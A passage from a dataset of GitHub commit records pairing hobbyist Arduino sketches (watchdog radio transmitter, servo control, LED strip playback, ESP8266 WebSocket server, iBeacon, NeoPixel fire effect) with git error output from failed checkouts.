seconds","message":"ATTiny85 with brown out detector at 2.7v with watchdog checking for cpu freeze every 4 seconds\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"attiny85\/transmitter\/transmitter.ino","new_file":"attiny85\/transmitter\/transmitter.ino","new_contents":"\n#include <util\/delay.h>\n#include <VirtualWire.h>\n\n\n#define LED_DEBUG 4\n#define PIN_TX 3\n\n\nbyte ledState = LOW; \/\/ ledState used to set the LED\nunsigned long msgId = 0;\n\n\nvolatile byte wd_check = 0; \/\/ A number for the watchdog timerer to check\n\nISR(WDT_vect) \n{\n \/\/ Check that there have been about 4 seconds, since the last check\n if (wd_check > 2 && wd_check < 6) {\n wd_check = 0;\n \/\/ Turn on watchdog again. \n \/\/ See 8.5.2 \"To avoid the Watchdog Reset, WDIE must be set after each interrupt\"\n WDTCR |= (1 << WDIE);\n }\n \/\/ Failed the test so a reset will occur on the next watchdog timeout.\n}\n\nlong readVcc() {\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif \n \n _delay_ms(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n \n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH \n uint8_t high = ADCH; \/\/ unlocks both\n \n long result = (high<<8) | low;\n \n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return result; \/\/ Vcc in millivolts\n}\n\nvoid setup() \n{\n pinMode(LED_DEBUG, OUTPUT); \n pinMode(PIN_TX, OUTPUT); \n watchdog_setup();\n \n vw_set_ptt_inverted(true); \/\/ Required for DR3100\n vw_setup(2000); \/\/ Bits per sec\n vw_set_tx_pin(PIN_TX);\n}\n\nvoid loop()\n{\n \n \/\/ if the LED is off turn it on and vice-versa:\n if (ledState == LOW) {\n ledState = HIGH;\n } else {\n ledState = LOW;\n }\n digitalWrite(LED_DEBUG, ledState);\n \n ++msgId;\n char msg[16];\n sprintf(msg, \"%lu,wd=%d,mv=%u\", msgId, wd_check, readVcc());\n vw_send((uint8_t *)msg, strlen(msg));\n vw_wait_tx(); \/\/ Wait until the whole message is gone\n \/\/ Cannot use millis() as timer 0 is used by virtualwire on Attiny85\n _delay_ms(1000);\n \n \/\/ Detect cpu freeze.\n \/\/ Watchdog checks tha about 4 seconds have run since last check.\n \/\/ So make sure to record every \"second\" encountered.\n \/\/ If the power is unstable then these seconds will not match with \n \/\/ watchdog's timer, and force a reset.\n ++wd_check;\n\n}\n\nvoid watchdog_setup()\n{\n \/\/ WDIE = watchdog interupt enable\n \/\/ WDE = turn on watchdog\n \/\/ WDP3 = about 4 seconds\n WDTCR |= (1 << WDIE) | (1 << WDE) | ( 1<< WDP3);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'attiny85\/transmitter\/transmitter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c2d3033023df52da1c9fdd258459151e918f0870","subject":"updated pins for current PCB","message":"updated pins for current PCB","repos":"cmuartfab\/chip-party","old_file":"Teensy-MIDI\/Arduino Sketch\/teensy3.2_midi_IO_04\/teensy3.2_midi_IO_04.ino","new_file":"Teensy-MIDI\/Arduino Sketch\/teensy3.2_midi_IO_04\/teensy3.2_midi_IO_04.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Teensy-MIDI\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketch\/teensy3.2_midi_IO_04\/teensy3.2_midi_IO_04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f14c708e2c2b0792f400d48257be93920af8c3a","subject":"Create 2_Codice_Pneuma.ino","message":"Create 2_Codice_Pneuma.ino","repos":"fraguz\/ID2-2015,fraguz\/ID2-2015,Fupete\/ID2-2015,Fupete\/ID2-2015,Fupete\/ID2-2015-UNIRSM,Fupete\/ID2-2015-UNIRSM","old_file":"3_dataphys\/sketch\/2_Codice_Pneuma.ino","new_file":"3_dataphys\/sketch\/2_Codice_Pneuma.ino","new_contents":"\/\/\/\/ ____ ARDUINO ____ \/\/\/\/\n\n\/* \nThe MIT License (MIT)\n Copyright (c) 2015 Federico Lo Porto for the course ID2-2015 @ UnirSM\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n \n Lo sketch fa muovere il pistone dell'installazione Pneuma.\n E' collegato a processing da cui riceve i valori.\n\n\n*\/\n\n#include <Servo.h>\nServo myservo1;\nchar tastiera = 0;\nint incomingByte;\nfloat tempo;\n\nvoid setup() {\n myservo1.attach (3);\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ if (Serial.available() > 0) {\n incomingByte = Serial.read();\nSerial.print(incomingByte);\nif(incomingByte=='A')\n{\n tempo=500;\n}\nif(incomingByte=='B')\n{\n tempo=1000;\n}\nif(incomingByte=='C')\n{\n tempo=2500;\n}\nif(incomingByte=='D')\n{\n tempo=2000;\n}\n\n myservo1.writeMicroseconds (1500); \/\/dietro\n delay(tempo);\n\n myservo1.writeMicroseconds (1480); \/\/fermo\n delay(tempo\/2);\n\n myservo1.writeMicroseconds (1460); \/\/dietro\n delay(tempo);\n\n myservo1.writeMicroseconds (1480); \/\/fermo\n delay(tempo\/2);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec '3_dataphys\/sketch\/2_Codice_Pneuma.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f09501f3914c0f75f03301589bd95fc52c277990","subject":"Add draft of Arduino Read SD\/Write Lights loop","message":"Add draft of Arduino Read SD\/Write Lights loop\n\nLots of debugging in here. Currently only handles one file on the SD\ncard - no logic yet to switch to the next when the file runs out.\nTiming is correct, though: every 50 ms, one LED refresh of all 200\nlights is sent, then a new frame is read and we busy loop for the\nremainder of the 50ms time slice.\n","repos":"godlygeek\/LightRender,MaddAddaM\/LightRender","old_file":"Arduino\/LightPlayer\/LightPlayer.ino","new_file":"Arduino\/LightPlayer\/LightPlayer.ino","new_contents":"#include <SPI.h>\n#include <SdFat.h>\n#include <FAB_LED.h>\n\napa106<D, 6> LEDstrip;\nrgb frame[200];\n\n\/\/ Test with reduced SPI speed for breadboards.\n\/\/ Change spiSpeed to SPI_FULL_SPEED for better performance\n\/\/ Use SPI_QUARTER_SPEED for even slower SPI bus speed\nconst uint8_t spiSpeed = SPI_FULL_SPEED;\n\n\/\/------------------------------------------------------------------------------\n\/\/ File system object.\nSdFat sd;\n\n\/\/ Serial streams\nArduinoOutStream cout(Serial);\n\n\/\/ SD card chip select\nconst int chipSelect = 4;\n\nvoid setup()\n{\n Serial.begin(9600);\n\n \/\/ Wait for USB Serial\n while (!Serial) {\n SysCall::yield();\n }\n\n cout << F(\"\\nInitializing SD.\\n\");\n if (!sd.begin(chipSelect, spiSpeed)) {\n if (sd.card()->errorCode()) {\n cout << F(\"SD initialization failed.\\n\");\n cout << F(\"errorCode: \") << hex << showbase;\n cout << int(sd.card()->errorCode());\n cout << F(\", errorData: \") << int(sd.card()->errorData());\n cout << dec << noshowbase << endl;\n return;\n }\n\n cout << F(\"\\nCard successfully initialized.\\n\");\n if (sd.vol()->fatType() == 0) {\n cout << F(\"Can't find a valid FAT16\/FAT32 partition.\\n\");\n return;\n }\n if (!sd.vwd()->isOpen()) {\n cout << F(\"Can't open root directory.\\n\");\n return;\n }\n cout << F(\"Can't determine error type\\n\");\n return;\n }\n cout << F(\"\\nCard successfully initialized.\\n\");\n cout << endl;\n\n if (!sd.exists(\"FRACTAL1.DAT\")) {\n cout << F(\"FRACTAL1.DAT file not found.\\n\");\n return;\n }\n\n File infile = sd.open(\"FRACTAL1.DAT\");\n if (!infile.isOpen()) {\n cout << F(\"Failed to open FRACTAL1.DAT\\n\");\n return;\n }\n\n int bytes_read = infile.read(frame, sizeof(frame));\n unsigned long prev_millis = millis();\n\n cout << F(\"\\nFrame size in bytes: \") << sizeof(frame);\n cout << F(\"\\nStarting millis: \") << prev_millis;\n int i = 0;\n while (bytes_read == sizeof(frame)) {\n ++i;\n while (millis() - prev_millis < 50UL) {\n \/\/ busy loop until its time to paint the lights\n }\n prev_millis += 50UL;\n LEDstrip.sendPixels(sizeof(frame) \/ sizeof(*frame), frame);\n bytes_read = infile.read(frame, sizeof(frame));\n }\n cout << F(\"\\nFinal millis: \") << prev_millis;\n cout << F(\"\\nNum frames: \") << i;\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/LightPlayer\/LightPlayer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a8838602c3c74823a1ddcff5d3cb296b756f42f2","subject":"adicionado programa\u00e7\u00e3o para o ap wifi","message":"adicionado programa\u00e7\u00e3o para o ap wifi\n","repos":"tiagopossato\/telemetria,tiagopossato\/telemetria","old_file":"ESP8266\/WebSocketServer\/WebSocketServer.ino","new_file":"ESP8266\/WebSocketServer\/WebSocketServer.ino","new_contents":"\/*\n WebSocketServer_LEDcontrol.ino\n\n Created on: 26.11.2015\n\n*\/\n\n#include <Arduino.h>\n\n#include <ESP8266WiFi.h>\n#include <WebSocketsServer.h>\n#include <Hash.h>\n\n#define DEBUG\nconst char *ssid = \"TelemetriaNova\";\nconst char *password = \"12345678\";\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\nchar saida[128];\n\nWebSocketsServer webSocket = WebSocketsServer(81);\nuint8_t numClient = -1;\n\nvoid webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t lenght) {\n switch (type) {\n case WStype_DISCONNECTED:\n numClient = -1;\n#ifdef DEBUG\n Serial.printf(\"[%u] Disconnected!\\n\", num);\n#endif\n break;\n\n case WStype_CONNECTED: {\n numClient = num;\n#ifdef DEBUG\n IPAddress ip = webSocket.remoteIP(num);\n Serial.printf(\"[%u] Connected from %d.%d.%d.%d url: %s\\n\", num, ip[0], ip[1], ip[2], ip[3], payload);\n#endif\n \/\/ send message to client\n webSocket.sendTXT(num, \"{\\\"20\\\":\\\"Connected\\\"}\");\n }\n break;\n case WStype_TEXT:\n Serial.printf(\"%s\\n\", payload);\n break;\n }\n}\n\nvoid envia() {\n if (numClient == -1) return;\n size_t tam = inputString.length();\n inputString.toCharArray(saida, tam + 1);\n\n#ifdef DEBUG\n Serial.println(inputString);\n Serial.println(saida);\n#endif\n\n webSocket.sendTXT(numClient, saida, tam);\n inputString = \"\";\n}\n\nvoid setup() {\n Serial.begin(9600);\n#ifdef DEBUG\n Serial.println();\n Serial.println();\n Serial.println();\n#endif\n inputString.reserve(128);\n\n WiFi.softAP(ssid, password, 1, 0);\n for (uint8_t t = 4; t > 0; t--) {\n#ifdef DEBUG\n Serial.printf(\"[SETUP] BOOT WAIT %d...\\n\", t);\n Serial.flush();\n#endif\n delay(1000);\n }\n\n#ifdef DEBUG\n IPAddress myIP = WiFi.softAPIP();\n Serial.println(myIP);\n#endif\n\n \/\/ start webSocket server\n webSocket.begin();\n webSocket.onEvent(webSocketEvent);\n\n}\n\n#ifdef DEBUG\nunsigned long previousMillis = 0;\nconst long interval = 100;\n#endif\n\nvoid loop() {\n webSocket.loop();\n while (Serial.available()) {\n char inChar = (char)Serial.read();\n if (inChar == '\\n') {\n envia();\n } else {\n inputString += inChar;\n }\n }\n\n#ifdef DEBUG\n unsigned long currentMillis = millis();\n if (currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis;\n inputString = \"\";\n inputString = \"{\\\"01\\\":\\\"\";\n inputString += String(map(analogRead(A0), 0, 1024, 0, 50));\n inputString += \"\\\"}\";\n envia();\n }\n#endif\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266\/WebSocketServer\/WebSocketServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1e51ef8794d836cb5ddbbbb49e1d19532757c9d1","subject":"Adding funtionality to arduino - Now sends PWD signals via Serial commands","message":"Adding funtionality to arduino - Now sends PWD signals via Serial commands\n","repos":"darkbox\/Reluxino","old_file":"ArduinoCode\/reluxino_main\/reluxino_main.ino","new_file":"ArduinoCode\/reluxino_main\/reluxino_main.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/darkbox\/Reluxino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"46c50b9d764f19e1f96f8fdfde7e0cc2279a385b","subject":"Changed the default program to have two scripts: #blink13 and #pot14led11","message":"Changed the default program to have two scripts: #blink13 and #pot14led11\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bcf5ca4f1f78c4bec3c06484944ba099c616748c","subject":"#173 added basic table example","message":"#173 added basic table example\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Widgets\/Table\/Table_Simple\/Table_Simple.ino","new_file":"examples\/Widgets\/Table\/Table_Simple\/Table_Simple.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * You can use Table widget for logging events\n *\n * App project setup:\n * Default Table widget on V1\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\nSimpleTimer timer;\nint index = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n\n while (Blynk.connect() == false) {\n \/\/ Wait until connected\n }\n\n \/\/clean table at start\n Blynk.virtualWrite(V1, \"clr\");\n \n \/\/run sendEvent method every second\n timer.setInterval(1000L, sendEvent);\n}\n\nvoid sendEvent() {\n \/\/ adding 1 row to table every second\n Blynk.virtualWrite(V1, \"add\", index, \"My Event\", millis() \/ 1000);\n \n \/\/highlighting latest added row in table\n Blynk.virtualWrite(V1, \"pick\", index);\n \n index++;\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Widgets\/Table\/Table_Simple\/Table_Simple.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5679ec2e0ac266e409c6ac26fd5a6f63871d6eab","subject":"add arduino sketch","message":"add arduino sketch\n","repos":"neosarchizo\/MyStandingDesk","old_file":"Arduino\/MyStadingDesk\/MyStadingDesk.ino","new_file":"Arduino\/MyStadingDesk\/MyStadingDesk.ino","new_contents":"#include <SoftwareSerial.h>\n \n#define FALL 8\n#define RISE 9\n#define TRIG 10\n#define ECHO 11\n \n\/*\n[State]\nREADY : 0\nFALLING : 1\nRISING : 2\n*\/\n \nint state = 0;\n \nvoid setup() {\n pinMode(FALL, OUTPUT);\n pinMode(RISE, OUTPUT);\n pinMode(TRIG, OUTPUT);\n pinMode(ECHO, INPUT);\n Serial.begin(9600);\n digitalWrite(FALL, HIGH);\n digitalWrite(RISE, HIGH);\n}\n \nvoid loop() {\n long distance = 0;\n \n if (Serial.available()) {\n char c = Serial.read();\n switch (c) {\n case 'a':\n digitalWrite(RISE, HIGH);\n digitalWrite(FALL, LOW);\n state = 1;\n break;\n case 's':\n digitalWrite(RISE, HIGH);\n digitalWrite(FALL, HIGH);\n state = 0;\n break;\n case 'd':\n digitalWrite(RISE, LOW);\n digitalWrite(FALL, HIGH);\n state = 2;\n break;\n case 'f':\n digitalWrite(TRIG, LOW);\n delayMicroseconds(2);\n digitalWrite(TRIG, HIGH);\n delayMicroseconds(10);\n digitalWrite(TRIG, LOW);\n \n distance = pulseIn(ECHO, HIGH, 11000);\n \n if (distance == 0) {\n return;\n }\n \n distance = distance \/ 58.2;\n Serial.println(distance);\n break;\n case 'g':\n Serial.println(state);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/MyStadingDesk\/MyStadingDesk.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12209ac8932715ed5a68828bd27811f068b0d818","subject":"add initial code for the Address Sign automation","message":"add initial code for the Address Sign automation\n","repos":"estradjm\/Class-Work,estradjm\/Class-Work,estradjm\/Class-Work,estradjm\/Class-Work","old_file":"Control_Systems\/AddressSign\/AddressSignControl.ino","new_file":"Control_Systems\/AddressSign\/AddressSignControl.ino","new_contents":"\/\/Written by Ruben Marc Speybrouck - Modified by Jenniffer Estrada\n\/\/ This code controls the address sign in the front door to \n\/\/ automatically turn on at dusk and off at dawn. Since the \n\/\/ sign uses 12V at 1000 mA, the Arduino cannot power it directly,\n\/\/ therefore, the Arduino uses a solid state relay to control the \n\/\/ sign. \n\n\/\/ TODO: Need to get an adequate mosfet to control 12V, a small project box, \n\/\/ small perf board, and a power supply for the Arduino.\n\/\/ N Channel MOSFET: https:\/\/www.sparkfun.com\/products\/10213\n\/\/ Short tutorial for the N Channel MOSFET: http:\/\/bildr.org\/2012\/03\/rfp30n06le-arduino\/\n\n\/\/ constants won't change. Used here to \n\/\/ set pin numbers:\nconst int ledPin = 13; \/\/ the number of the LED pin\n\n\/\/ Variables will change:\nint ledState = LOW; \/\/ ledState used to set the LED\n\nunsigned long timeNow = 0;\n\nunsigned long timeLast = 0;\n\n\/\/Time start Settings:\n\nint startingHour = 18;\n\n\/\/ set your starting hour here, not below at int hour. This ensures accurate daily correction of time\n\nint seconds = 0;\n\nint minutes = 29;\n\nint hours = startingHour;\n\nint days = 0;\n\n\/\/Accuracy settings\n\nint dailyErrorFast = 0; \/\/ set the average number of milliseconds your microcontroller's time is fast on a daily basis\n\nint dailyErrorBehind = 0; \/\/ set the average number of milliseconds your microcontroller's time is behind on a daily basis\n\nint correctedToday = 1; \/\/ do not change this variable, one means that the time has already been corrected today for the error in your boards crystal. This is true for the first day because you just set the time when you uploaded the sketch.\n\nvoid setup() {\n \n\/\/ set up serial connection\nSerial.begin(9600);\n\n\/\/ set the digital pin as output:\n pinMode(ledPin, OUTPUT); \n}\n\n\nvoid loop() { \/\/ put your main code here, to run repeatedly:\n\ntimeNow = millis()\/1000; \/\/ the number of milliseconds that have passed since boot\n\nseconds = timeNow - timeLast;\n\n\/\/the number of seconds that have passed since the last time 60 seconds was reached.\n\nif (seconds == 60) {\n\ntimeLast = timeNow;\n\nminutes = minutes + 1; }\n\n\/\/if one minute has passed, start counting milliseconds from zero again and add one minute to the clock.\n\nif (minutes == 60){\n\nminutes = 0;\n\nhours = hours + 1; }\n\n\n\/\/ if one hour has passed, start counting minutes from zero and add one hour to the clock\n\n\nif (hours == 24){\n\nhours = 0;\n\ndays = days + 1;\n\n}\n\n\/\/if 24 hours have passed, add one day\n\nif (hours ==(24 - startingHour) && correctedToday == 0){\n\ndelay(dailyErrorFast*1000);\n\nseconds = seconds + dailyErrorBehind;\n\ncorrectedToday = 1; }\n\n\/\/every time 24 hours have passed since the initial starting time and it has not been reset this day before, add milliseconds or delay the program with some milliseconds.\n\n\/\/Change these varialbes according to the error of your board.\n\n\/\/ The only way to find out how far off your boards internal clock is, is by uploading this sketch at exactly the same time as the real time, letting it run for a few days\n\n\/\/ and then determining how many seconds slow\/fast your boards internal clock is on a daily average. (24 hours).\n\nif (hours == 24 - startingHour + 2) {\n\ncorrectedToday = 0; }\n\n\/\/let the sketch know that a new day has started for what concerns correction, if this line was not here the arduiono \/\/ would continue to correct for an entire hour that is 24 - startingHour.\n\n\/\/Serial.print(\"The time is: \");\n\n\/\/Serial.print(days);\n\n\/\/Serial.print(\":\");\n\n\/\/Serial.print(hours);\n\n\/\/Serial.print(\":\");\n\n\/\/Serial.print(minutes);\n\n\/\/Serial.print(\":\");\n\n\/\/Serial.println(seconds);\n\n\n\n\/\/ Control the Address Sign with a Digital Output Pin\n\/\/ Start at 9pm at night and end at 4am in the morning (out of daylight savings)\n \nif (hours >= 21 || hours <= 4){\n \/\/ if the LED sign is off, then turn it on\n if (ledState == LOW)\n ledState = HIGH;\n else\n ledState = HIGH;\n\n \/\/ set the LED with the ledState of the variable:\n digitalWrite(ledPin, ledState);\n}\nelse {\n digitalWrite(ledPin, LOW);\n }\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Control_Systems\/AddressSign\/AddressSignControl.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"042730a57ada91630a36a87935da54850675fd71","subject":"Added iBeacon example that only works for nRF51 boards.","message":"Added iBeacon example that only works for nRF51 boards.\n","repos":"sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral","old_file":"examples\/ibeacon\/ibeacon.ino","new_file":"examples\/ibeacon\/ibeacon.ino","new_contents":"#include <BLEPeripheral.h>\n#include <BLEUuid.h>\n\n#if !defined(NRF51) && !defined(__RFduino__)\n#error \"This example only works with nRF51 boards\"\n#endif\n\nstatic BLEPeripheral blePeripheral(0, 0, 0);\n\nstatic void setIBeaconData(BLEPeripheral& peripheral, const char* uuidString, uint16_t major, uint16_t minor, int8_t measuredPower) {\n unsigned char manufacturerData[MAX_UUID_LENGTH + 9]; \/\/ 4 bytes of header and 5 bytes of trailer.\n BLEUuid uuid(uuidString);\n int i = 0;\n\n \/\/ 0x004c = Apple, see https:\/\/www.bluetooth.org\/en-us\/specification\/assigned-numbers\/company-identifiers\n manufacturerData[i++] = 0x4c; \/\/ Apple Company Identifier LE (16 bit)\n manufacturerData[i++] = 0x00;\n\n \/\/ See \"Beacon type\" in \"Building Applications with IBeacon\".\n manufacturerData[i++] = 0x02;\n manufacturerData[i++] = uuid.length() + 5;\n\n for (int j = (uuid.length() - 1); j >= 0; j--) {\n manufacturerData[i++] = uuid.data()[j];\n }\n\n manufacturerData[i++] = major >> 8;\n manufacturerData[i++] = major;\n manufacturerData[i++] = minor >> 8;\n manufacturerData[i++] = minor;\n manufacturerData[i++] = measuredPower;\n\n peripheral.setManufacturerData(manufacturerData, i);\n}\n\nvoid setup() {\n char* uuidString = \"a196c876-de8c-4c47-ab5a-d7afd5ae7127\";\n uint16_t major = 0;\n uint16_t minor = 0;\n int8_t measuredPower = -55;\n\n setIBeaconData(blePeripheral, uuidString, major, minor, measuredPower);\n\n blePeripheral.begin();\n}\n\nvoid loop() {\n blePeripheral.poll();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ibeacon\/ibeacon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2f95a0760e37a5388a70554fab4c45ed8bcf9779","subject":"Create neopixel_fire.ino","message":"Create neopixel_fire.ino","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/moz4r\/neopixel_fire.ino","new_file":"home\/moz4r\/neopixel_fire.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#define PIN 3\n#define NUM_LEDS 16\nint voltPin = 2;\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = 5V volt pin\n\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup() {\n pinMode(voltPin, OUTPUT);\n digitalWrite(voltPin, HIGH);\n strip.begin();\n\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\n\n\nvoid loop() {\n\n Fire(55,120,15);\n}\n\nvoid Fire(int Cooling, int Sparking, int SpeedDelay) {\n\n static byte heat[NUM_LEDS];\n\n int cooldown;\n\n \n\n \/\/ Step 1. Cool down every cell a little\n\n for( int i = 0; i < NUM_LEDS; i++) {\n\n cooldown = random(0, ((Cooling * 10) \/ NUM_LEDS) + 2);\n\n \n\n if(cooldown>heat[i]) {\n\n heat[i]=0;\n\n } else {\n\n heat[i]=heat[i]-cooldown;\n\n }\n\n }\n\n \n\n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n\n for( int k= NUM_LEDS - 1; k >= 2; k--) {\n\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2]) \/ 3;\n\n }\n\n \n\n \/\/ Step 3. Randomly ignite new 'sparks' near the bottom\n\n if( random(255) < Sparking ) {\n\n int y = random(7);\n\n heat[y] = heat[y] + random(160,255);\n\n \/\/heat[y] = random(160,255);\n\n }\n\n\n \/\/ Step 4. Convert heat to LED colors\n\n for( int j = 0; j < NUM_LEDS; j++) {\n\n setPixelHeatColor(j, heat[j] );\n\n }\n\n\n showStrip();\n\n delay(SpeedDelay);\n}\n\nvoid setPixelHeatColor (int Pixel, byte temperature) {\n\n \/\/ Scale 'heat' down from 0-255 to 0-191\n\n byte t192 = round((temperature\/255.0)*191);\n\n \n\n \/\/ calculate ramp up from\n\n byte heatramp = t192 & 0x3F; \/\/ 0..63\n\n heatramp <<= 2; \/\/ scale up to 0..252\n\n \n\n \/\/ figure out which third of the spectrum we're in:\n\n if( t192 > 0x80) { \/\/ hottest\n\n setPixel(Pixel, 255, 255, heatramp);\n\n } else if( t192 > 0x40 ) { \/\/ middle\n\n setPixel(Pixel, 255, heatramp, 0);\n\n } else { \/\/ coolest\n\n setPixel(Pixel, heatramp, 0, 0);\n\n }\n}\n\n\n\nvoid showStrip() {\n\n #ifdef ADAFRUIT_NEOPIXEL_H \n\n \/\/ NeoPixel\n\n strip.show();\n\n #endif\n\n #ifndef ADAFRUIT_NEOPIXEL_H\n\n \/\/ FastLED\n\n FastLED.show();\n\n #endif\n}\n\nvoid setPixel(int Pixel, byte red, byte green, byte blue) {\n\n #ifdef ADAFRUIT_NEOPIXEL_H \n\n \/\/ NeoPixel\n strip.setBrightness(20);\n strip.setPixelColor(Pixel, strip.Color(red, green, blue));\n\n #endif\n\n #ifndef ADAFRUIT_NEOPIXEL_H \n\n \/\/ FastLED\n\n leds[Pixel].r = red;\n\n leds[Pixel].g = green;\n\n leds[Pixel].b = blue;\n\n #endif\n}\n\nvoid setAll(byte red, byte green, byte blue) {\n\n for(int i = 0; i < NUM_LEDS; i++ ) {\n\n setPixel(i, red, green, blue); \n\n }\n\n showStrip();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/moz4r\/neopixel_fire.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"00f84936ac5866401004823bda325bb0315d7ae7","subject":"fix test","message":"fix 